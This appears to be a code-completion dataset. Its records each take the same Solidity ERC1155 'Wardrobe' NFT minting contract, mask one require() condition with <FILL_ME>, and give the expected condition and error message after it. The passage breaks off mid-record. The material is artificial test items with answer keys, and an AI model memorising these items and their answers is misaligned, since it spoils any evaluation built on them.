// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { require( itemsMinted[msg.sender][_itemType] + _quantity <= itemTypes[_itemType].maxMintable, "User is trying to mint more than allocated." ); require(<FILL_ME>) _; } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
totalSupply(_itemType)+_quantity<=itemTypes[_itemType].itemSupply,"User is trying to mint more than total supply."
228,623
totalSupply(_itemType)+_quantity<=itemTypes[_itemType].itemSupply
"Item type ID has already been used"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { require(<FILL_ME>) itemTypes[_itemType] = ItemTypeInfo( _itemPrice, _maxMintable, _itemSupply, _requiredMetamon, _itemMerkleRoot, _uri, true ); numberOfItemTypes++; } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
!itemTypes[_itemType].valid,"Item type ID has already been used"
228,623
!itemTypes[_itemType].valid
"User is trying to mint a whitelisted item through incorrect function call."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { require(<FILL_ME>) require( itemTypes[_itemType].requiredMetamon.length == 0, "User is trying to mint a wardrobe item with metamon requirements - Claim only!" ); require( msg.value == itemTypes[_itemType].itemPrice * _quantity, "Not enough ETH" ); itemsMinted[msg.sender][_itemType] += _quantity; _mint(msg.sender, _itemType, _quantity, ""); emit ItemMinted(msg.sender, _itemType, _quantity); } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemTypes[_itemType].itemMerkleRoot==0,"User is trying to mint a whitelisted item through incorrect function call."
228,623
itemTypes[_itemType].itemMerkleRoot==0
"User is trying to mint a wardrobe item with metamon requirements - Claim only!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { require( itemTypes[_itemType].itemMerkleRoot == 0, "User is trying to mint a whitelisted item through incorrect function call." ); require(<FILL_ME>) require( msg.value == itemTypes[_itemType].itemPrice * _quantity, "Not enough ETH" ); itemsMinted[msg.sender][_itemType] += _quantity; _mint(msg.sender, _itemType, _quantity, ""); emit ItemMinted(msg.sender, _itemType, _quantity); } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemTypes[_itemType].requiredMetamon.length==0,"User is trying to mint a wardrobe item with metamon requirements - Claim only!"
228,623
itemTypes[_itemType].requiredMetamon.length==0
"User is trying to mint a whitelisted item through incorrect function call."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { uint256 totalMintCost; for (uint i = 0; i < _itemTypes.length; i++) { require(<FILL_ME>) require( itemsMinted[msg.sender][_itemTypes[i]] + _quantity[i] <= itemTypes[_itemTypes[i]].maxMintable, "User is trying to mint more than allocated." ); require( totalSupply(_itemTypes[i]) + _quantity[i] <= itemTypes[_itemTypes[i]].itemSupply, "User is trying to mint more than total supply." ); require( itemTypes[_itemTypes[i]].requiredMetamon.length == 0, "User is trying to mint a wardrobe item with metamon requirements - Claim only!" ); totalMintCost += itemTypes[_itemTypes[i]].itemPrice * _quantity[i]; } require(msg.value == totalMintCost, "Not enough ETH to mint!"); for (uint i = 0; i < _itemTypes.length; i++) { itemsMinted[msg.sender][_itemTypes[i]] += _quantity[i]; } _mintBatch(msg.sender, _itemTypes, _quantity, ""); emit ItemsMinted(msg.sender, _itemTypes, _quantity); } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Withdraw /////////////////////////////////////////////////////////////////////////// function withdraw() external onlyOwner nonReentrant { } }
itemTypes[_itemTypes[i]].itemMerkleRoot==0,"User is trying to mint a whitelisted item through incorrect function call."
228,623
itemTypes[_itemTypes[i]].itemMerkleRoot==0
"User is trying to mint more than allocated."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface IMetamon { function metamonOwnership(address owner, uint256 requiredMetamon) external returns (bool); } struct ItemTypeInfo { uint256 itemPrice; uint256 maxMintable; uint256 itemSupply; uint256[] requiredMetamon; bytes32 itemMerkleRoot; string uri; bool valid; } contract Wardrobe is ERC1155Supply, Ownable, ReentrancyGuard { using Strings for uint256; IMetamon public metamonContract; address payable public paymentContractAddress; string public name; string public symbol; mapping(uint256 => ItemTypeInfo) itemTypes; mapping(address => mapping(uint256 => uint256)) itemsMinted; uint256 numberOfItemTypes; /////////////////////////////////////////////////////////////////////////// // Events /////////////////////////////////////////////////////////////////////////// event ItemMinted(address _receiver, uint256 _tokenId, uint256 _quantity); event ItemsMinted(address _receiver, uint256[] _tokenId, uint256[] _quantity); constructor() payable ERC1155( "https://gateway.pinata.cloud/ipfs/INSERT_IPFS_HASH_HERE/{id}.json" ) { } /////////////////////////////////////////////////////////////////////////// // Pre-Function Conditions /////////////////////////////////////////////////////////////////////////// modifier itemTypeCheck(uint256 _itemType) { } modifier itemTypesCheck(uint256[] memory _itemTypes) { } modifier maxMintableCheck(uint256 _itemType, uint256 _quantity) { } modifier requiredMetamonCheck(uint256 _itemType) { } modifier requiredMetamonChecks(uint256[] memory _itemTypes) { } /////////////////////////////////////////////////////////////////////////// // Add/Del State Changes /////////////////////////////////////////////////////////////////////////// function addWardrobeItem( uint256 _itemType, uint256 _itemPrice, uint256 _maxMintable, uint256 _itemSupply, uint256[] memory _requiredMetamon, bytes32 _itemMerkleRoot, string memory _uri ) external onlyOwner { } function setWardrobeItemValid(uint256 _itemType, bool _valid) external onlyOwner { } /////////////////////////////////////////////////////////////////////////// // Get/Set/Add State Changes /////////////////////////////////////////////////////////////////////////// function setItemPrice(uint256 _newPrice, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemPrice(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setMaxMintable(uint256 _maxMintable, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getMaxMintable(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setItemSupply(uint256 _itemSupply, uint256 _itemType) external onlyOwner itemTypeCheck(_itemType) { } function getItemSupply(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256) { } function setRequiredMetamon( uint256[] memory _requiredMetamon, uint256 _itemType ) external onlyOwner itemTypeCheck(_itemType) { } function getRequiredMetamon(uint256 _itemType) public view itemTypeCheck(_itemType) returns (uint256[] memory) { } function setMerkleRoot(bytes32 _newMerkleRoot, uint256 _itemType) external onlyOwner { } function getMerkleRoot(uint256 _itemType) external view onlyOwner returns (bytes32) { } function totalItemTypes() public view returns (uint256) { } function setMetamonContractAddress(address _metamonContractAddress) external onlyOwner { } function setPaymentAddress( address payable _contractAddress ) external onlyOwner { } function getPaymentAddress() public view onlyOwner returns (address){ } /////////////////////////////////////////////////////////////////////////// // Mint Tokens /////////////////////////////////////////////////////////////////////////// function mintSale(uint256 _itemType, uint256 _quantity) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function mintMultipleSale( uint256[] memory _itemTypes, uint256[] memory _quantity ) external payable itemTypesCheck(_itemTypes) nonReentrant { uint256 totalMintCost; for (uint i = 0; i < _itemTypes.length; i++) { require( itemTypes[_itemTypes[i]].itemMerkleRoot == 0, "User is trying to mint a whitelisted item through incorrect function call." ); require(<FILL_ME>) require( totalSupply(_itemTypes[i]) + _quantity[i] <= itemTypes[_itemTypes[i]].itemSupply, "User is trying to mint more than total supply." ); require( itemTypes[_itemTypes[i]].requiredMetamon.length == 0, "User is trying to mint a wardrobe item with metamon requirements - Claim only!" ); totalMintCost += itemTypes[_itemTypes[i]].itemPrice * _quantity[i]; } require(msg.value == totalMintCost, "Not enough ETH to mint!"); for (uint i = 0; i < _itemTypes.length; i++) { itemsMinted[msg.sender][_itemTypes[i]] += _quantity[i]; } _mintBatch(msg.sender, _itemTypes, _quantity, ""); emit ItemsMinted(msg.sender, _itemTypes, _quantity); } function mintSpecialItem( uint256 _itemType, uint256 _quantity, bytes32[] calldata _merkleProof ) external payable itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) nonReentrant { } function claimCollectionReward(uint256 _itemType, uint256 _quantity) external itemTypeCheck(_itemType) maxMintableCheck(_itemType, _quantity) requiredMetamonCheck(_itemType) nonReentrant { } function happyEnding( address _user, uint256 _itemType, uint256 _quantity ) external itemTypeCheck(_itemType) nonReentrant { } /////////////////////////////////////////////////////////////////////////// // Backend URIs /////////////////////////////////////////////////////////////////////////// function uri(uint256 _itemType) public view override returns (string memory) { } function setTokenUri(uint256 _itemType, string memory newUri) external onlyOwner { } 